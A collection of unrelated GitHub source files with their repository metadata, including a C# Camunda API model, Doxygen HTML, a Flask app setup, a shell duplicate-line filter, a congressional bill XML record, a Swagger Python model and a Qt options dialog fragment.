/// The id of the user who started the process instance.
/// </summary>
public string StartUserId;
/// <summary>
/// The id of the initial activity that was executed (e.g., a start event).
/// </summary>
public string StartActivityId;
/// <summary>
/// The provided delete reason in case the process instance was canceled during execution./// </summary>
public string DeleteReason;
/// <summary>
/// The id of the parent process instance, if it exists.
/// </summary>
public string SuperProcessInstanceId;
/// <summary>
/// The id of the parent case instance, if it exists.
/// </summary>
public string SuperCaseInstanceId;
/// <summary>
/// The id of the parent case instance, if it exists.
/// </summary>
public string CaseInstanceId;
/// <summary>
/// The tenant id of the process instance.
/// </summary>
public string TenantId;
/// <summary>
/// Last state of the process instance.
/// </summary>
public ProcessInstanceState State;
public override string ToString() => Id;
}
public enum ProcessInstanceState
{
/// <summary>
/// Running process instance
/// </summary>
[EnumMember(Value = "ACTIVE")]
Active,
/// <summary>
/// Suspended process instances
/// </summary>
[EnumMember(Value = "SUSPENDED")]
Suspended,
/// <summary>
/// Suspended process instances
/// </summary>
[EnumMember(Value = "COMPLETED")]
Completed,
/// <summary>
/// Suspended process instances
/// </summary>
[EnumMember(Value = "EXTERNALLY_TERMINATED")]
ExternallyTerminated,
/// <summary>
/// Terminated internally, for instance by terminating boundary event
/// </summary>
[EnumMember(Value = "INTERNALLY_TERMINATED")]
InternallyTerminated,
}
}
| {'content_hash': 'cbd6358e61a0928b1fc3bf8a280e9c32', 'timestamp': '', 'source': 'github', 'line_count': 103, 'max_line_length': 112, 'avg_line_length': 33.18446601941748, 'alnum_prop': 0.5608543007606788, 'repo_name': 'jlucansky/Camunda.Api.Client', 'id': 'e86a6dc16af17b5347583dc80c28492ee3c8d624', 'size': '3420', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'Camunda.Api.Client/History/HistoricProcessInstance.cs', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'C#', 'bytes': '638680'}]} |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.11"/>
<title>nucleo-dynamixel: Member List</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="navtree.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="resize.js"></script>
<script type="text/javascript" src="navtreedata.js"></script>
<script type="text/javascript" src="navtree.js"></script>
<script type="text/javascript">
$(document).ready(initResizable);
$(window).load(resizeHeight);
</script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/searchdata.js"></script>
<script type="text/javascript" src="search/search.js"></script>
<script type="text/javascript">
$(document).ready(function() { init_search(); });
</script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td id="projectalign" style="padding-left: 0.5em;">
<div id="projectname">nucleo-dynamixel
 <span id="projectnumber">0.0.1</span>
</div>
<div id="projectbrief">A library for controlling dynamixel servomotors, designed for nucleo stm32</div>
</td>
</tr>
</tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.11 -->
<script type="text/javascript">
var searchBox = new SearchBox("searchBox", "search",false,'Search');
</script>
<div id="navrow1" class="tabs">
<ul class="tablist">
<li><a href="index.html"><span>Main Page</span></a></li>
<li><a href="pages.html"><span>Related Pages</span></a></li>
<li><a href="modules.html"><span>Modules</span></a></li>
<li class="current"><a href="annotated.html"><span>Classes</span></a></li>
<li><a href="files.html"><span>Files</span></a></li>
<li>
<div id="MSearchBox" class="MSearchBoxInactive">
<span class="left">
<img id="MSearchSelect" src="search/mag_sel.png"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
alt=""/>
<input type="text" id="MSearchField" value="Search" accesskey="S"
onfocus="searchBox.OnSearchFieldFocus(true)"
onblur="searchBox.OnSearchFieldFocus(false)"
onkeyup="searchBox.OnSearchFieldChange(event)"/>
</span><span class="right">
<a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a>
</span>
</div>
</li>
</ul>
</div>
<div id="navrow2" class="tabs2">
<ul class="tablist">
<li><a href="annotated.html"><span>Class List</span></a></li>
<li><a href="classes.html"><span>Class Index</span></a></li>
<li><a href="hierarchy.html"><span>Class Hierarchy</span></a></li>
<li><a href="functions.html"><span>Class Members</span></a></li>
</ul>
</div>
</div><!-- top -->
<div id="side-nav" class="ui-resizable side-nav-resizable">
<div id="nav-tree">
<div id="nav-tree-contents">
<div id="nav-sync" class="sync"></div>
</div>
</div>
<div id="splitbar" style="-moz-user-select:none;"
class="ui-resizable-handle">
</div>
</div>
<script type="text/javascript">
$(document).ready(function(){initNavTree('struct_s_p_i___init_type_def.html','');});
</script>
<div id="doc-content">
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
</div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
<div class="header">
<div class="headertitle">
<div class="title">SPI_InitTypeDef Member List</div> </div>
</div><!--header-->
<div class="contents">
<p>This is the complete list of members for <a class="el" href="struct_s_p_i___init_type_def.html">SPI_InitTypeDef</a>, including all inherited members.</p>
<table class="directory">
<tr class="even"><td class="entry"><a class="el" href="struct_s_p_i___init_type_def.html#a1d553f90738cb633a9298d2b4d306fde">BaudRatePrescaler</a></td><td class="entry"><a class="el" href="struct_s_p_i___init_type_def.html">SPI_InitTypeDef</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="struct_s_p_i___init_type_def.html#ab21a458209f2588f49a2353c56f62625">CLKPhase</a></td><td class="entry"><a class="el" href="struct_s_p_i___init_type_def.html">SPI_InitTypeDef</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="struct_s_p_i___init_type_def.html#a96922c7ff9e589ebd9611fc4ab730454">CLKPolarity</a></td><td class="entry"><a class="el" href="struct_s_p_i___init_type_def.html">SPI_InitTypeDef</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="struct_s_p_i___init_type_def.html#a3472de9bd9247c1d97312aff7e58e385">CRCCalculation</a></td><td class="entry"><a class="el" href="struct_s_p_i___init_type_def.html">SPI_InitTypeDef</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="struct_s_p_i___init_type_def.html#abdaf3ccbfa4ef68cc81fd32f29baa678">CRCPolynomial</a></td><td class="entry"><a class="el" href="struct_s_p_i___init_type_def.html">SPI_InitTypeDef</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="struct_s_p_i___init_type_def.html#a24b7835dd877e1c4e55236303fa3387f">DataSize</a></td><td class="entry"><a class="el" href="struct_s_p_i___init_type_def.html">SPI_InitTypeDef</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="struct_s_p_i___init_type_def.html#ae5c132f597c806d7a1fe316023b36867">Direction</a></td><td class="entry"><a class="el" href="struct_s_p_i___init_type_def.html">SPI_InitTypeDef</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="struct_s_p_i___init_type_def.html#a8c541d8863cb62a3212b9381b5cba447">FirstBit</a></td><td class="entry"><a class="el" href="struct_s_p_i___init_type_def.html">SPI_InitTypeDef</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="struct_s_p_i___init_type_def.html#a5247eb0463437c9980a9d4a5300b50a5">Mode</a></td><td class="entry"><a class="el" href="struct_s_p_i___init_type_def.html">SPI_InitTypeDef</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="struct_s_p_i___init_type_def.html#aed541d17808213ac6f90ac7deb2bec5f">NSS</a></td><td class="entry"><a class="el" href="struct_s_p_i___init_type_def.html">SPI_InitTypeDef</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="struct_s_p_i___init_type_def.html#a60db7e87bb66775df6213e4006dfd876">TIMode</a></td><td class="entry"><a class="el" href="struct_s_p_i___init_type_def.html">SPI_InitTypeDef</a></td><td class="entry"></td></tr>
</table></div><!-- contents -->
</div><!-- doc-content -->
<!-- start footer part -->
<div id="nav-path" class="navpath"><!-- id is needed for treeview function! -->
<ul>
<li class="footer">Generated by
<a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/></a> 1.8.11 </li>
</ul>
</div>
</body>
</html>
| {'content_hash': 'db1915705924809a45c4a3a30bfd5f6c', 'timestamp': '', 'source': 'github', 'line_count': 140, 'max_line_length': 277, 'avg_line_length': 57.607142857142854, 'alnum_prop': 0.6592684438933664, 'repo_name': 'team-diana/nucleo-dynamixel', 'id': '0508ff0cd46696d1f853fb94cba3a24750df17d6', 'size': '8065', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'docs/html/struct_s_p_i___init_type_def-members.html', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'C', 'bytes': '3649584'}, {'name': 'C++', 'bytes': '362036'}, {'name': 'HTML', 'bytes': '109'}, {'name': 'Makefile', 'bytes': '58234'}]} |
from flask import Flask
# from flask.ext.sqlalchemy import SQLAlchemy
import os
# DATABASE = 'database.db'
# create app
app = Flask(__name__)
APP_ROOT = os.path.dirname(os.path.abspath(__file__))
APP_STATIC = os.path.join(APP_ROOT, 'static')
# setup db
# app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///ip.db'
# db = SQLAlchemy(app)
# register blueprints
from app.portfolio.views import portfolio
app.register_blueprint(portfolio)
# Run server
if __name__ == '__main__':
app.run()
| {'content_hash': 'ecff54483d586d55d73543594f4cc29e', 'timestamp': '', 'source': 'github', 'line_count': 25, 'max_line_length': 59, 'avg_line_length': 19.84, 'alnum_prop': 0.6935483870967742, 'repo_name': 'murphyalexandre/murphyalexandre.com', 'id': '96ab437773ee8db73fb9c15f38aae57953dbe110', 'size': '496', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'app/__init__.py', 'mode': '33261', 'license': 'mit', 'language': [{'name': 'CSS', 'bytes': '6712'}, {'name': 'HTML', 'bytes': '3357'}, {'name': 'JavaScript', 'bytes': '66428'}, {'name': 'Python', 'bytes': '2916'}]} |
if [ ! -f "$1" ] ; then
echo ""
echo "limpa_duplicados - Copyright (C) 2009 Gabriel Fernandes"
echo ""
echo "Use: $0 /caminho/do/arquivo"
echo ""
echo "Parametros:"
echo "/caminho/do/arquivo = Caminho completo do arquivo;"
echo ""
echo "Exemplo: $0 arquivo.txt"
echo ""
echo "[email protected]"
echo ""
exit 1
fi
# Recebe caminho completo do arquivo para processar
ARQUIVO=$1
ARQUIVO_SAIDA="SAIDA-$ARQUIVO"
ARQUIVO_DUPLICADOS="DUPLICADOS-$ARQUIVO"
# apaga arquivo antigos ja processados
rm -rf "SAIDA-$ARQUIVO" "DUPLICADOS-$ARQUIVO"
# faz backup do arquivo original
#cp "$ARQUIVO" "ORIGINAL-$ARQUIVO"
# Conta quantidade linha para processar
NUM_LINHAS=$(cat $ARQUIVO | wc -l)
let NUM_LINHAS++
# Imprime na saída padrão, somente os campos que não foram possíveis de ser incrementado.
awk '{ if ( !umArrayLinhas[$0]++ ) { print $0 } }' $ARQUIVO > "SAIDA-$ARQUIVO"
# Imprime na saída padrão, somente os campos que foram possíveis de ser incrementado seu valor no array
awk '{ if ( umArrayLinhas[$0]++ ) { print $0 } }' $ARQUIVO > "DUPLICADOS-$ARQUIVO"
# Conta qtd linhas processadas
CONT_LINHAS_DUPLICADAS=$(cat "DUPLICADOS-$ARQUIVO" | wc -l)
CONT_LINHAS_SAIDA=$(cat "SAIDA-$ARQUIVO" | wc -l)
clear
echo "Processado arquivo: $ARQUIVO" > LOG-$ARQUIVO.txt
echo "Registros: $NUM_LINHAS" >> LOG-$ARQUIVO.txt
echo "Normal:$CONT_LINHAS_SAIDA Duplo:$CONT_LINHAS_DUPLICADAS" >> LOG-$ARQUIVO.txt
| {'content_hash': '568f6f0ffcb2aae8e812504dc2d7f8cf', 'timestamp': '', 'source': 'github', 'line_count': 45, 'max_line_length': 103, 'avg_line_length': 31.555555555555557, 'alnum_prop': 0.702112676056338, 'repo_name': 'FIVJ/ECA-Importer', 'id': '30c05e51cacc0b5583d586e1d1d74e2b058ee8ff', 'size': '1440', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'CSV_Converter/limpa_duplicados.sh', 'mode': '33261', 'license': 'mit', 'language': [{'name': 'Java', 'bytes': '161055'}, {'name': 'Shell', 'bytes': '1440'}]} |
ACCEPTED
#### According to
The Catalogue of Life, 3rd January 2011
#### Published in
Sp. pl. 1:491. 1753
#### Original name
null
### Remarks
null | {'content_hash': '9fe4bf374ab93d5e14643cb38861e87b', 'timestamp': '', 'source': 'github', 'line_count': 13, 'max_line_length': 39, 'avg_line_length': 11.461538461538462, 'alnum_prop': 0.6778523489932886, 'repo_name': 'mdoering/backbone', 'id': 'c10035e0d3a415de7ecbe00c1671eb9c95f474d0', 'size': '191', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'life/Plantae/Magnoliophyta/Magnoliopsida/Rosales/Rosaceae/Rosa/Rosa centifolia/README.md', 'mode': '33188', 'license': 'apache-2.0', 'language': []} |
namespace chrono {
namespace vehicle {
/// @addtogroup vehicle_terrain
/// @{
/// FEA Deformable terrain model.
/// This class implements a terrain made up of isoparametric finite elements. It features
/// Drucker-Prager plasticity and capped Drucker-Prager plasticity.
class CH_VEHICLE_API FEADeformableTerrain : public ChTerrain {
public:
/// Construct a default FEADeformableSoil.
/// The user is responsible for calling various Set methods before Initialize.
FEADeformableTerrain(ChSystem* system ///< [in/out] pointer to the containing system);
);
~FEADeformableTerrain() {}
/// Get the terrain height at the specified (x,y) location.
virtual double GetHeight(double x, double y) const override;
/// Get the terrain normal at the specified (x,y) location.
virtual chrono::ChVector<> GetNormal(double x, double y) const override;
/// Get the terrain coefficient of friction at the specified (x,y) location.
/// This coefficient of friction value may be used by certain tire models to modify
/// the tire characteristics, but it will have no effect on the interaction of the terrain
/// with other objects (including tire models that do not explicitly use it).
/// For FEADeformableTerrain, this function defers to the user-provided functor object
/// of type ChTerrain::FrictionFunctor, if one was specified.
/// Otherwise, it returns the constant value of 0.8.
virtual float GetCoefficientFriction(double x, double y) const override;
/// Set the properties of the Drucker-Prager FEA soil.
void SetSoilParametersFEA(double rho, ///< [in] Soil density
double Emod, ///< [in] Soil modulus of elasticity
double nu, ///< [in] Soil Poisson ratio
double yield_stress, ///< [in] Soil yield stress, for plasticity
double hardening_slope, ///< [in] Soil hardening slope, for plasticity
double friction_angle, ///< [in] Soil internal friction angle
double dilatancy_angle ///< [in] Soil dilatancy angle
);
/// Initialize the terrain system (flat).
/// This version creates a flat array of points.
void Initialize(const ChVector<>& start_point, ///< [in] Base point to build terrain box
const ChVector<>& terrain_dimension, ///< [in] terrain dimensions in the 3 directions
const ChVector<int>& terrain_discretization ///< [in] Number of finite elements in the 3 directions
);
/// Get the underlying FEA mesh.
std::shared_ptr<fea::ChMesh> GetMesh() const { return m_mesh; }
private:
std::shared_ptr<fea::ChMesh> m_mesh; ///< soil mesh
double m_rho; ///< Soil density
double m_E; ///< Soil modulus of elasticity
double m_nu; ///< Soil Poisson ratio
double m_yield_stress; ///< Yield stress for soil plasticity
double m_hardening_slope; ///< Hardening slope for soil plasticity
double m_friction_angle; ///< Set friction angle for soil plasticity
double m_dilatancy_angle; ///< Set dilatancy angle for soil plasticity
};
/// @} vehicle_terrain
} // end namespace vehicle
} // end namespace chrono
#endif
| {'content_hash': 'bd6cbe633769b6f40e4b377a77fa429b', 'timestamp': '', 'source': 'github', 'line_count': 72, 'max_line_length': 120, 'avg_line_length': 47.513888888888886, 'alnum_prop': 0.6328558900906168, 'repo_name': 'armanpazouki/chrono', 'id': '7e5b1964f16a3553d375d23ee17da3851be6d9d6', 'size': '4506', 'binary': False, 'copies': '1', 'ref': 'refs/heads/develop', 'path': 'src/chrono_vehicle/terrain/FEADeformableTerrain.h', 'mode': '33188', 'license': 'bsd-3-clause', 'language': [{'name': 'Batchfile', 'bytes': '3754'}, {'name': 'C', 'bytes': '2094018'}, {'name': 'C++', 'bytes': '18310783'}, {'name': 'CMake', 'bytes': '456720'}, {'name': 'CSS', 'bytes': '170229'}, {'name': 'Cuda', 'bytes': '702762'}, {'name': 'GLSL', 'bytes': '4731'}, {'name': 'HTML', 'bytes': '7903'}, {'name': 'Inno Setup', 'bytes': '24125'}, {'name': 'JavaScript', 'bytes': '4731'}, {'name': 'Lex', 'bytes': '3433'}, {'name': 'Objective-C', 'bytes': '2096'}, {'name': 'POV-Ray SDL', 'bytes': '23109'}, {'name': 'Python', 'bytes': '186160'}, {'name': 'Shell', 'bytes': '1459'}]} |
import url from 'url';
export const toContainExactPath = function (actual, expected) {
if (typeof actual !== 'string' || typeof expected !== 'string') {
return false;
}
const actualUrl = url.parse(actual);
return actualUrl.pathname === expected;
};
| {'content_hash': 'f870e55dadd9a04a9d1b2b77722a0960', 'timestamp': '', 'source': 'github', 'line_count': 11, 'max_line_length': 69, 'avg_line_length': 25.09090909090909, 'alnum_prop': 0.6413043478260869, 'repo_name': 'abelmokadem/test-matchers', 'id': '9ce5624d31dbda96341930660c7c8c355143a77c', 'size': '276', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'src/matchers/url/exact-path.js', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'JavaScript', 'bytes': '5619'}]} |
<?xml version="1.0" encoding="UTF-8"?>
<billStatus>
<bill>
<billType>S</billType>
<updateDate>2017-06-07T10:10:50Z</updateDate>
<subjects>
<billSubjects>
<legislativeSubjects>
<item>
<name>Private Legislation</name>
</item>
</legislativeSubjects>
</billSubjects>
</subjects>
<policyArea />
<laws />
<version>1.0.0</version>
<amendments />
<calendarNumbers />
<relatedBills />
<introducedDate>2017-04-27</introducedDate>
<notes />
<latestAction>
<text>Read twice and referred to the Committee on the Judiciary. (text of measure as introduced: CR S2619)</text>
<actionDate>2017-04-27</actionDate>
<links />
</latestAction>
<originChamber>Senate</originChamber>
<sponsors>
<item>
<identifiers>
<bioguideId>B001267</bioguideId>
<gpoId>8302</gpoId>
<lisID>1965</lisID>
</identifiers>
<firstName>Michael</firstName>
<bioguideId>B001267</bioguideId>
<middleName>F.</middleName>
<byRequestType />
<state>CO</state>
<fullName>Sen. Bennet, Michael F. [D-CO]</fullName>
<party>D</party>
<lastName>Bennet</lastName>
</item>
</sponsors>
<recordedVotes />
<billNumber>979</billNumber>
<titles>
<item>
<titleType>Official Title as Introduced</titleType>
<title>A bill for the relief of Arturo Hernandez-Garcia.</title>
<chamberCode />
<parentTitleType />
<chamberName />
</item>
<item>
<titleType>Display Title</titleType>
<title>A bill for the relief of Arturo Hernandez-Garcia.</title>
<chamberCode />
<parentTitleType />
<chamberName />
</item>
</titles>
<summaries>
<billSummaries>
<item>
<actionDate>2017-04-27</actionDate>
<actionDesc>Introduced in Senate</actionDesc>
<text><![CDATA[Provides for the relief of Arturo Hernandez-Garcia.]]></text>
<name>Introduced in Senate</name>
<versionCode>00</versionCode>
<lastSummaryUpdateDate>2017-04-28T08:03:52Z</lastSummaryUpdateDate>
<updateDate>2017-04-27T04:00:00Z</updateDate>
</item>
</billSummaries>
</summaries>
<congress>115</congress>
<committeeReports />
<title>A bill for the relief of Arturo Hernandez-Garcia.</title>
<cboCostEstimates />
<actions>
<actionByCounts>
<senate>2</senate>
</actionByCounts>
<item>
<actionDate>2017-04-27</actionDate>
<committee>
<systemCode>ssju00</systemCode>
<name>Judiciary Committee</name>
</committee>
<links>
<link>
<name>S2619</name>
<url>https://www.congress.gov/congressional-record/volume-163/senate-section/page/S2619</url>
</link>
</links>
<sourceSystem>
<name>Senate</name>
<code>0</code>
</sourceSystem>
<text>Read twice and referred to the Committee on the Judiciary. (text of measure as introduced: CR S2619)</text>
<type>IntroReferral</type>
</item>
<item>
<links />
<type>IntroReferral</type>
<actionCode>10000</actionCode>
<actionDate>2017-04-27</actionDate>
<committee />
<text>Introduced in Senate</text>
<sourceSystem>
<name>Library of Congress</name>
<code>9</code>
</sourceSystem>
</item>
<actionTypeCounts>
<introducedInSenate>1</introducedInSenate>
<referredToCommittee>1</referredToCommittee>
</actionTypeCounts>
</actions>
<createDate>2017-04-28T00:41:46Z</createDate>
<cosponsors />
<committees>
<billCommittees>
<item>
<type>Standing</type>
<activities>
<item>
<date>2017-04-27T19:35:35Z</date>
<name>Referred to</name>
</item>
</activities>
<systemCode>ssju00</systemCode>
<chamber>Senate</chamber>
<name>Judiciary Committee</name>
<subcommittees />
</item>
</billCommittees>
</committees>
</bill>
<dublinCore xmlns:dc="http://purl.org/dc/elements/1.1/">
<dc:format>text/xml</dc:format>
<dc:language>EN</dc:language>
<dc:rights>Pursuant to Title 17 Section 105 of the United States Code, this file is not subject to copyright protection and is in the public domain.</dc:rights>
<dc:contributor>Congressional Research Service, Library of Congress</dc:contributor>
<dc:description>This file contains bill summaries and statuses for federal legislation. A bill summary describes the most significant provisions of a piece of legislation and details the effects the legislative text may have on current law and federal programs. Bill summaries are authored by the Congressional Research Service (CRS) of the Library of Congress. As stated in Public Law 91-510 (2 USC 166 (d)(6)), one of the duties of CRS is "to prepare summaries and digests of bills and resolutions of a public general nature introduced in the Senate or House of Representatives". For more information, refer to the User Guide that accompanies this file.</dc:description>
</dublinCore>
</billStatus>
| {'content_hash': 'd1acc477180b5bdaec0222fceec28e9c', 'timestamp': '', 'source': 'github', 'line_count': 149, 'max_line_length': 676, 'avg_line_length': 36.20805369127517, 'alnum_prop': 0.6157553290083411, 'repo_name': 'peter765/power-polls', 'id': 'cd2f43dee8d5ee7b436c62acb6f54a13244112ed', 'size': '5395', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'db/bills/s/s979/fdsys_billstatus.xml', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'HTML', 'bytes': '58567'}, {'name': 'JavaScript', 'bytes': '7370'}, {'name': 'Python', 'bytes': '22988'}]} |
"""
MINDBODY Public API
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: v6
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
from swagger_client.models.staff import Staff # noqa: F401,E501
class ContactLogComment(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'id': 'int',
'text': 'str',
'created_date_time': 'datetime',
'created_by': 'Staff'
}
attribute_map = {
'id': 'Id',
'text': 'Text',
'created_date_time': 'CreatedDateTime',
'created_by': 'CreatedBy'
}
def __init__(self, id=None, text=None, created_date_time=None, created_by=None): # noqa: E501
"""ContactLogComment - a model defined in Swagger""" # noqa: E501
self._id = None
self._text = None
self._created_date_time = None
self._created_by = None
self.discriminator = None
if id is not None:
self.id = id
if text is not None:
self.text = text
if created_date_time is not None:
self.created_date_time = created_date_time
if created_by is not None:
self.created_by = created_by
@property
def id(self):
"""Gets the id of this ContactLogComment. # noqa: E501
The comment’s ID. # noqa: E501
:return: The id of this ContactLogComment. # noqa: E501
:rtype: int
"""
return self._id
@id.setter
def id(self, id):
"""Sets the id of this ContactLogComment.
The comment’s ID. # noqa: E501
:param id: The id of this ContactLogComment. # noqa: E501
:type: int
"""
self._id = id
@property
def text(self):
"""Gets the text of this ContactLogComment. # noqa: E501
The comment’s body text. # noqa: E501
:return: The text of this ContactLogComment. # noqa: E501
:rtype: str
"""
return self._text
@text.setter
def text(self, text):
"""Sets the text of this ContactLogComment.
The comment’s body text. # noqa: E501
:param text: The text of this ContactLogComment. # noqa: E501
:type: str
"""
self._text = text
@property
def created_date_time(self):
"""Gets the created_date_time of this ContactLogComment. # noqa: E501
The local time when the comment was created. # noqa: E501
:return: The created_date_time of this ContactLogComment. # noqa: E501
:rtype: datetime
"""
return self._created_date_time
@created_date_time.setter
def created_date_time(self, created_date_time):
"""Sets the created_date_time of this ContactLogComment.
The local time when the comment was created. # noqa: E501
:param created_date_time: The created_date_time of this ContactLogComment. # noqa: E501
:type: datetime
"""
self._created_date_time = created_date_time
@property
def created_by(self):
"""Gets the created_by of this ContactLogComment. # noqa: E501
Information about the staff member who created the comment. # noqa: E501
:return: The created_by of this ContactLogComment. # noqa: E501
:rtype: Staff
"""
return self._created_by
@created_by.setter
def created_by(self, created_by):
"""Sets the created_by of this ContactLogComment.
Information about the staff member who created the comment. # noqa: E501
:param created_by: The created_by of this ContactLogComment. # noqa: E501
:type: Staff
"""
self._created_by = created_by
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(ContactLogComment, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, ContactLogComment):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
| {'content_hash': '670c2b94fe55a14800cbae9b9f28b451', 'timestamp': '', 'source': 'github', 'line_count': 201, 'max_line_length': 119, 'avg_line_length': 28.53731343283582, 'alnum_prop': 0.5636331938633193, 'repo_name': 'mindbody/API-Examples', 'id': '29e2bb649c6aa1b98360c42891c410ced0312b33', 'size': '5761', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'SDKs/Python/swagger_client/models/contact_log_comment.py', 'mode': '33188', 'license': 'bsd-2-clause', 'language': [{'name': 'PHP', 'bytes': '3610259'}, {'name': 'Python', 'bytes': '2338642'}, {'name': 'Ruby', 'bytes': '2284441'}, {'name': 'Shell', 'bytes': '5058'}]} |
package Controller.Request;
import Model.AccountHandler;
import Model.TweetHandler;
public class Request {
public static AccountHandler accountHandler=null;
public static TweetHandler tweetHandler=null;
public static void setAccountHandler(AccountHandler accHandler){
Request.accountHandler=accHandler;
}
public static void setTweetHandler(TweetHandler tweHandler){
Request.tweetHandler=tweHandler;
}
}
| {'content_hash': '869c280060a5cafe1b5a987d197e93d2', 'timestamp': '', 'source': 'github', 'line_count': 20, 'max_line_length': 65, 'avg_line_length': 21.2, 'alnum_prop': 0.8113207547169812, 'repo_name': 'TweetDeleter/TweetDeleterProject', 'id': '2dcf665d53b3c8252bcc1005e6944fab33d36d51', 'size': '424', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'src/Controller/Request/Request.java', 'mode': '33188', 'license': 'apache-2.0', 'language': [{'name': 'Java', 'bytes': '31199'}]} |
BEGIN;
DELETE FROM t1 WHERE a>32; | {'content_hash': '6e0d6cc70d1200b99f07883d873be749', 'timestamp': '', 'source': 'github', 'line_count': 2, 'max_line_length': 26, 'avg_line_length': 16.5, 'alnum_prop': 0.7575757575757576, 'repo_name': 'bkiers/sqlite-parser', 'id': '30bd5ba5bb64ca16ca7c2b86c1be7badeb7d243c', 'size': '123', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'src/test/resources/pagerfault.test_30.sql', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'ANTLR', 'bytes': '20112'}, {'name': 'Java', 'bytes': '6273'}, {'name': 'PLpgSQL', 'bytes': '324108'}]} |
#include "optionsdialog.h"
#include "ui_optionsdialog.h"
#include "bitcoinunits.h"
#include "monitoreddatamapper.h"
#include "netbase.h"
#include "optionsmodel.h"
#include <QDir>
#include <QIntValidator>
#include <QLocale>
#include <QMessageBox>
#include <QRegExp>
#include <QRegExpValidator>
OptionsDialog::OptionsDialog(QWidget *parent) :
QDialog(parent),
ui(new Ui::OptionsDialog),
model(0),
mapper(0),
fRestartWarningDisplayed_Proxy(false),
fRestartWarningDisplayed_Lang(false),
fProxyIpValid(true)
{
ui->setupUi(this);
/* Network elements init */
#ifndef USE_UPNP
ui->mapPortUpnp->setEnabled(false);
#endif
ui->proxyIp->setEnabled(false);
ui->proxyPort->setEnabled(false);
ui->proxyPort->setValidator(new QIntValidator(1, 65535, this));
ui->socksVersion->setEnabled(false);
ui->socksVersion->addItem("5", 5);
ui->socksVersion->addItem("4", 4);
ui->socksVersion->setCurrentIndex(0);
connect(ui->connectSocks, SIGNAL(toggled(bool)), ui->proxyIp, SLOT(setEnabled(bool)));
connect(ui->connectSocks, SIGNAL(toggled(bool)), ui->proxyPort, SLOT(setEnabled(bool)));
connect(ui->connectSocks, SIGNAL(toggled(bool)), ui->socksVersion, SLOT(setEnabled(bool)));
connect(ui->connectSocks, SIGNAL(clicked(bool)), this, SLOT(showRestartWarning_Proxy()));
